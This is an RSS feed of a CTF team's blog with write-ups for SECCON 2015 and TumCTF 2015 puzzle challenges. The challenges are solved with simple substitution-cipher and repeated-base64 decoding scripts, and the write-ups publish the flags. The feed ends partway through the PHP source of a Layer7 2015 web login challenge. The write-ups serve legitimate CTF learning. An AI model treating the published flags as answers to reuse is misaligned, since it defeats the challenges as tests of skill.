<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>vimvaders</title>
    <description></description>
    <link>http://vimvaders.github.io/</link>
    <atom:link href="http://vimvaders.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 06 Mar 2024 12:28:02 +0000</pubDate>
    <lastBuildDate>Wed, 06 Mar 2024 12:28:02 +0000</lastBuildDate>
    <generator>Jekyll v3.9.5</generator>
    
      <item>
        <title>A present for all the Star Wars fans</title>
        <description>&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/nonsense/vimvaders-starwars.png&quot; title=&quot;vim-vaders&quot; alt=&quot;vim-vaders&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 22 Dec 2015 12:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/nonsense/2015/12/22/star-wars.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/nonsense/2015/12/22/star-wars.html</guid>
        
        <category>starwars</category>
        
        
        <category>nonsense</category>
        
      </item>
    
      <item>
        <title>Seccon 2015: Last Challenge</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;Misc&lt;/em&gt; - Points: &lt;em&gt;50&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description:&lt;br /&gt;
ex1&lt;br /&gt;
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO&lt;br /&gt;
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}&lt;br /&gt;&lt;/p&gt;

  &lt;p&gt;ex2&lt;br /&gt;
Cipher:EV}ZZD{DWZRA}FFDNFGQO&lt;br /&gt;
Plain: {HELLOWORLDSECCONCTF}&lt;br /&gt;&lt;/p&gt;

  &lt;p&gt;quiz&lt;br /&gt;
Cipher:A}FFDNEA}}HDJN}LGH}PWO&lt;br /&gt;
Plain: ??????????????????????&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last challenge in Seccon 2015 was exactly the same as the &lt;a href=&quot;http://vimvaders.github.io/seccon2015/2015/12/09/start.html&quot;&gt;first one&lt;/a&gt;. It is still a &lt;a href=&quot;https://en.wikipedia.org/wiki/Substitution_cipher&quot;&gt;&lt;em&gt;substitution cipher&lt;/em&gt;&lt;/a&gt; and we have to decode the last message. The substitution pattern is different from the other challenge but we can use the same approach.&lt;/p&gt;

&lt;p&gt;We wrote the following python &lt;a href=&quot;http://vimvaders.github.io/assets/seccon2015/last.py&quot;&gt;script&lt;/a&gt;, using &lt;a href=&quot;https://docs.python.org/2/library/string.html#string.maketrans&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maketrans&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.python.org/2/library/string.html#string.translate&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translate&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;translate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maketrans&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maketrans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'PXFR}QIVTMSZCNDKUWAGJB{LHYEO'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'A}FFDNEA}}HDJN}LGH}PWO'&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;translate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We then execute the script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./last.py
SECCON{SEEYOUNEXTYEAR}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SECCON{SEEYOUNEXTYEAR}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://imgs.xkcd.com/comics/security.png&quot; alt=&quot;xkcd&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 09 Dec 2015 20:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/seccon2015/2015/12/09/last-challenge.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/seccon2015/2015/12/09/last-challenge.html</guid>
        
        <category>ctf</category>
        
        <category>misc</category>
        
        
        <category>seccon2015</category>
        
      </item>
    
      <item>
        <title>Seccon 2015: Start</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;Misc&lt;/em&gt; - Points: &lt;em&gt;50&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description:&lt;br /&gt;&lt;/p&gt;

  &lt;p&gt;ex1&lt;br /&gt;
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO&lt;br /&gt;
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}&lt;br /&gt;&lt;/p&gt;

  &lt;p&gt;ex2&lt;br /&gt;
Cipher:EV}ZZD{DWZRA}FFDNFGQO&lt;br /&gt;
Plain: {HELLOWORLDSECCONCTF}&lt;br /&gt;&lt;/p&gt;

  &lt;p&gt;quiz&lt;br /&gt;
Cipher:A}FFDNEVPFSGV}KZPN}GO&lt;br /&gt;
Plain: ?????????????????????&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the first challenge and it is just a &lt;em&gt;sanity check&lt;/em&gt;. From the description it is clear that we are given a &lt;a href=&quot;https://en.wikipedia.org/wiki/Substitution_cipher&quot;&gt;&lt;em&gt;substitution cipher&lt;/em&gt;&lt;/a&gt; and we have to decode the last message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/seccon2015/cipher_jefferson.jpg&quot; alt=&quot;Substitution Cipher&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We wrote the following python &lt;a href=&quot;http://vimvaders.github.io/assets/seccon2015/start.py&quot;&gt;script&lt;/a&gt;, using &lt;a href=&quot;https://docs.python.org/2/library/string.html#string.maketrans&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maketrans&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.python.org/2/library/string.html#string.translate&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;translate&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maketrans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;translate&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maketrans&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'PXFR}QIVTMSZCNDKUWAGJB{LHYEO'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'A}FFDNEVPFSGV}KZPN}GO'&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;translate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We then execute the script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./solve.py
SECCON{HACKTHEPLANET}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SECCON{HACKTHEPLANET}&lt;/code&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 09 Dec 2015 10:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/seccon2015/2015/12/09/start.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/seccon2015/2015/12/09/start.html</guid>
        
        <category>ctf</category>
        
        <category>misc</category>
        
        
        <category>seccon2015</category>
        
      </item>
    
      <item>
        <title>TumCTF 2015: Sanity Check</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;Misc&lt;/em&gt; - Points: &lt;em&gt;1&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: Are you alive?&lt;/p&gt;

  &lt;p&gt;Vm0wd2QyUXlWa2hWV0doVVYwZG9jRlZ0TVZOWFZsbDNXa1JTVjFac2JETlhhMUpUVmpGYWMySkVUbGhoTVVwVVZtcEJlRll5U2tWVQpiR2hvVFZWd1ZWWnFRbUZUTWsxNVUydFdWUXBpU0VKWVZtMTRkMVZXV25GVGFsSmFWakF4TkZaSE5VOVhRWEJwVWpGS1ZWWkdVa2RUCk1WWlhXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hSV0VKVVdXdG9RMWRXWkZobFIzUnBDazFFUm5wV01qVkxXVlpPU1ZGdVRsWmkKVkVaVVZURmFZV1JIVWtsVWJXaGhUVEJLVlZkWGVHdGlNbEp6VjJ0a1dHSlViRk5EYXpGelYyeG9WMDFYYUhaV01HUkxWMVpXYzFacwpWbGNLWWtoQ05sWkhkR0ZaVms1R1RsWmFhMUp0YUZOV01GWkxaREZhV0UxRVJsSk5WMUpZVjJ0b1QxbFdTa1pUYlVaRVlrWnNNMWxyClVsTlhSMFY0WTBoS1YySlVSa2RhVmxwWFl6RmFjd3BqUjJ0TFZXMDFRMkl4V25GUmJVWnFZbFpHTkZZeU5VOVpWa3AwWVVaT1YwMUcKV2t4YVJFWmhWMGRPUm1SSGJFNVdia0paVm1wS05HSXlTa2RUYWxwcFVtczFSVmxzVm5kWFJsbDVDazVZWkZkTlJFWXhWbGMxUzFZdwpNVWhWYTNoWFRWWndXRmw2Um1GamQzQlhZa2RPVEZaR1VrdGlNVkpYVjJ4V1VtSlZXbkZaYkZwSFRrWlplVTVXWkZkV01IQkpWbGQ0CmExWXdNVWNLVjJ0NFlWSXphSEpaZWtaM1VsWldjMk5HWkdsU2JrSktWbXBLTUdJeFVYaGlSbVJVWVRGd1ZWbHJXbUZTVm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This was the first challenge of the new TumCTF organized by h4x0rpsch0rr. Even
if this was the first time for this group to organize a CTF, the challenges
were very interesting.&lt;/p&gt;

&lt;p&gt;This was just a sanity check. It is pretty obvious that the text in the
description is encoded in base64, so let’s decode it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ echo &quot;Vm0wd2QyVkhVWGhUV0docFVtMVNXVll3WkRSV1ZsbDNXa1JTVjFac2JETlhhMUpUVmpBeFYySkVU
bGhoTVVwVVZqQmFTMk15U2tWVQpiSEJYVm14d1VWWnFTalJaVjAxNFZHNU9XQXBpUjFKVVZGUkdT
MVZXWkZkYVJGSlVUV3N4TkZkcmFGZGhRWEJUWWtoQ1dWZFhlR3RpCk1ERnpWMjVLWVZOSVFuTlZi
VEZUVTFaYWRHUklUbWhhTTBKVVdXeGtiMlJzV2tkWGJUbFNDazFzV2xoV01XaHZWMGRLV1ZWc1Zs
VlcKYkhCNlZHdGFZVk5GTlZaa1JtaFNWMFZLZDFaWE1ERlJNV1JYV2toT1lWSkZTbUZEYkZsM1lr
UlNXR0V4Y0hKV2JURkdaVlpXYzFacwpjR2tLVW01Q2IxWnFRbUZqYlZGNFYyNU9ZVkp0YUZOV01G
WkxaREZhV0dORmRHbE5WbkJZVmpKNGIySkdTalppUms1RVlsVndXRll5Ck5YZFdNREYxVlc1S1Yw
MUhVa3hXTVZwWFl6RmFjd3BXYkdOTFZGUktiMVJXV2xWUmJVWnFZbFpHTkZZeU5WZFdWMHBJVld4
a1YwMUcKV2t4YVIzaHJZekZ3UlZWc2NGZGlSbkJKVmpKMGIxUXhiRmRUYTFwVVlrWmFSVmxZY0Vk
WFJsVjVDbVZIT1ZkaVZYQkpXVlZvZDFZdwpNWEZTYkdoaFVsZFNXRlZxUms5amQzQmhVbTFPVEZk
WGVGWmtNbEY0VjJ0V1UySkhVbFpVVjNSM1pXeFdXR1ZHWkZWaVJYQmFWa2QwCk5GSkdjRFlLVFVS
c1JGcDZNRGxEWnowOUNnPT0K&quot; | base64 -D

Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3WkRSV1ZsbDNXa1JTVjAxV2JETlhhMUpUVjBaS2MySkVU
bHBXVmxwUVZqSjRZV014VG5OWApiR1JUVFRGS1VWZFdaRFJUTWsxNFdraFdhQXBTYkhCWVdXeGti
MDFzV25KYVNIQnNVbTFTU1ZadGRITmhaM0JUWWxkb2RsWkdXbTlSCk1sWlhWMWhvV0dKWVVsVlVW
bHB6VGtaYVNFNVZkRmhSV0VKd1ZXMDFRMWRXWkhOYVJFSmFDbFl3YkRSWGExcHJWbTFGZVZWc1Zs
cGkKUm5Cb1ZqQmFjbVF4V25OYVJtaFNWMFZLZDFaWGNFdGlNVnBYVjJ4b2JGSjZiRk5EYlVwWFYy
NXdWMDF1VW5KV01HUkxWMVpXYzFacwpWbGNLVFRKb1RWWlVRbUZqYlZGNFYyNVdWV0pIVWxkV01G
WkxaR3hrYzFwRVVscFdiRnBJVjJ0b1QxbFdTa1pUYkZaRVlYcEdXRlV5CmVHOVdiVXBJWVVod1Yw
MXFSbGhhUldSWFVqRk9jd3BhUm1OTFdXeFZkMlF4V2tWU2JHUlZUV3R3ZWxWWGVGZFViRXBaVkd0
NFJGcDYKTURsRFp6MDlDZz09Cg==
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, this seems to be the classical challenge were multiple base64 steps were
performed on some text (probably the flag). Let’s use the always-good simple
&lt;a href=&quot;http://vimvaders.github.io/assets/tumctf2015/multi64.py&quot;&gt;python script&lt;/a&gt; for these
occasions:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'base64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;When we run it the result is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python sanity.py
Vm0wd2QyVkhVWGhUV0docFVtMVNXVll3WkRSV1ZsbDNXa1JTVjFac2JETlhhMUpUVmpBeFYySkVU
bGhoTVVwVVZqQmFTMk15U2tWVQpiSEJYVm14d1VWWnFTalJaVjAxNFZHNU9XQXBpUjFKVVZGUkdT
MVZXWkZkYVJGSlVUV3N4TkZkcmFGZGhRWEJUWWtoQ1dWZFhlR3RpCk1ERnpWMjVLWVZOSVFuTlZi
VEZUVTFaYWRHUklUbWhhTTBKVVdXeGtiMlJzV2tkWGJUbFNDazFzV2xoV01XaHZWMGRLV1ZWc1Zs
VlcKYkhCNlZHdGFZVk5GTlZaa1JtaFNWMFZLZDFaWE1ERlJNV1JYV2toT1lWSkZTbUZEYkZsM1lr
UlNXR0V4Y0hKV2JURkdaVlpXYzFacwpjR2tLVW01Q2IxWnFRbUZqYlZGNFYyNU9ZVkp0YUZOV01G
WkxaREZhV0dORmRHbE5WbkJZVmpKNGIySkdTalppUms1RVlsVndXRll5Ck5YZFdNREYxVlc1S1Yw
MUhVa3hXTVZwWFl6RmFjd3BXYkdOTFZGUktiMVJXV2xWUmJVWnFZbFpHTkZZeU5WZFdWMHBJVld4
a1YwMUcKV2t4YVIzaHJZekZ3UlZWc2NGZGlSbkJKVmpKMGIxUXhiRmRUYTFwVVlrWmFSVmxZY0Vk
WFJsVjVDbVZIT1ZkaVZYQkpXVlZvZDFZdwpNWEZTYkdoaFVsZFNXRlZxUms5amQzQmhVbTFPVEZk
WGVGWmtNbEY0VjJ0V1UySkhVbFpVVjNSM1pXeFdXR1ZHWkZWaVJYQmFWa2QwCk5GSkdjRFlLVFVS
c1JGcDZNRGxEWnowOUNnPT0K

Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3WkRSV1ZsbDNXa1JTVjAxV2JETlhhMUpUVjBaS2MySkVU
bHBXVmxwUVZqSjRZV014VG5OWApiR1JUVFRGS1VWZFdaRFJUTWsxNFdraFdhQXBTYkhCWVdXeGti
MDFzV25KYVNIQnNVbTFTU1ZadGRITmhaM0JUWWxkb2RsWkdXbTlSCk1sWlhWMWhvV0dKWVVsVlVW
bHB6VGtaYVNFNVZkRmhSV0VKd1ZXMDFRMWRXWkhOYVJFSmFDbFl3YkRSWGExcHJWbTFGZVZWc1Zs
cGkKUm5Cb1ZqQmFjbVF4V25OYVJtaFNWMFZLZDFaWGNFdGlNVnBYVjJ4b2JGSjZiRk5EYlVwWFYy
NXdWMDF1VW5KV01HUkxWMVpXYzFacwpWbGNLVFRKb1RWWlVRbUZqYlZGNFYyNVdWV0pIVWxkV01G
WkxaR3hrYzFwRVVscFdiRnBJVjJ0b1QxbFdTa1pUYkZaRVlYcEdXRlV5CmVHOVdiVXBJWVVod1Yw
MXFSbGhhUldSWFVqRk9jd3BhUm1OTFdXeFZkMlF4V2tWU2JHUlZUV3R3ZWxWWGVGZFViRXBaVkd0
NFJGcDYKTURsRFp6MDlDZz09Cg==

Vm0weGQxSXhiRmRYV0d4VVYwZDRWVll3WkRSV01WbDNXa1JTV0ZKc2JETlpWVlpQVjJ4YWMxTnNX
bGRTTTFKUVdWZDRTMk14WkhWaApSbHBYWWxkb01sWnJaSHBsUm1SSVZtdHNhZ3BTYldodlZGWm9R
MlZXV1hoWGJYUlVUVlpzTkZaSE5VdFhRWEJwVW01Q1dWZHNaREJaClYwbDRXa1prVm1FeVVsVlpi
RnBoVjBacmQxWnNaRmhSV0VKd1ZXcEtiMVpXV2xobFJ6bFNDbUpXV25wV01uUnJWMGRLV1ZWc1Zs
VlcKTTJoTVZUQmFjbVF4V25WVWJHUldWMFZLZGxkc1pEUlpWbFpIV2toT1lWSkZTbFZEYXpGWFUy
eG9WbUpIYUhwV01qRlhaRWRXUjFOcwpaRmNLWWxVd2QxWkVSbGRVTWtwelVXeFdUbEpZVGt4RFp6
MDlDZz09Cg==

Vm0xd1IxbFdXWGxUV0d4VVYwZDRWMVl3WkRSWFJsbDNZVVZPV2xac1NsWldSM1JQWVd4S2MxZHVh
RlpXYldoMlZrZHplRmRIVmtsagpSbWhvVFZoQ2VWWXhXbXRUTVZsNFZHNUtXQXBpUm5CWVdsZDBZ
V0l4WkZkVmEyUlVZbFphV0Zrd1ZsZFhRWEJwVWpKb1ZWWlhlRzlSCmJWWnpWMnRrV0dKWVVsVlVW
M2hMVTBacmQxWnVUbGRWV0VKdldsZDRZVlZHWkhOYVJFSlVDazFXU2xoVmJHaHpWMjFXZEdWR1Ns
ZFcKYlUwd1ZERldUMkpzUWxWTlJYTkxDZz09Cg==

Vm1wR1lWWXlTWGxUV0d4V1YwZDRXRll3YUVOWlZsSlZWR3RPYWxKc1duaFZWbWh2VkdzeFdHVklj
RmhoTVhCeVYxWmtTMVl4VG5KWApiRnBYWld0YWIxZFdVa2RUYlZaWFkwVldXQXBpUjJoVVZXeG9R
bVZzV2tkWGJYUlVUV3hLU0Zrd1ZuTldVWEJvWld4YVVGZHNaREJUCk1WSlhVbGhzV21WdGVGSldW
bU0wVDFWT2JsQlVNRXNLCg==

VmpGYVYySXlTWGxWV0d4WFYwaENZVlJVVGtOalJsWnhVVmhvVGsxWGVIcFhhMXByV1ZkS1YxTnJX
bFpXZWtab1dWUkdTbVZXY0VWWApiR2hUVWxoQmVsWkdXbXRUTWxKSFkwVnNWUXBoZWxaUFdsZDBT
MVJXUlhsWmVteFJWVmM0T1VOblBUMEsK

VjFaV2IySXlVWGxXV0hCYVRUTkNjRlZxUVhoTk1XeHpXa1prWVdKV1NrWlZWekZoWVRGSmVWcEVX
bGhTUlhBelZGWmtTMlJHY0VsVQphelZPWld0S1RWRXlZemxRVVc4OUNnPT0K

V1ZWb2IyUXlWWHBaTTNCcFVqQXhNMWxzWkZkYWJWSkZVVzFhYTFJeVpEWlhSRXAzVFZkS2RGcElU
azVOZWtKTVEyYzlQUW89Cg==

WVVob2QyVXpZM3BpUjAxM1lsZFdabVJFUW1aa1IyZDZXREp3TVdKdFpITk5NekJMQ2c9PQo=

YUhod2UzY3piR013YldWZmREQmZkR2d6WDJwMWJtZHNNMzBLCg==

aHhwe3czbGMwbWVfdDBfdGgzX2p1bmdsM30K

hxp{w3lc0me_t0_th3_jungl3}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is: &lt;strong&gt;hxp{w3lc0me_t0_th3_jungl3}&lt;/strong&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 26 Oct 2015 12:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/tumctf2015/2015/10/26/sanity-check.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/tumctf2015/2015/10/26/sanity-check.html</guid>
        
        <category>ctf</category>
        
        <category>misc</category>
        
        
        <category>tumctf2015</category>
        
      </item>
    
      <item>
        <title>Layer7 2015: Login</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;web&lt;/em&gt; - Points: &lt;em&gt;50&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;http://prob.layer7.kr/login/index.php&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The address in the description points to a login form. The page also provides us the PHP code behind the login form:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
   &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;FNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
   &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;PATH&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;include_once&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/config.php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;

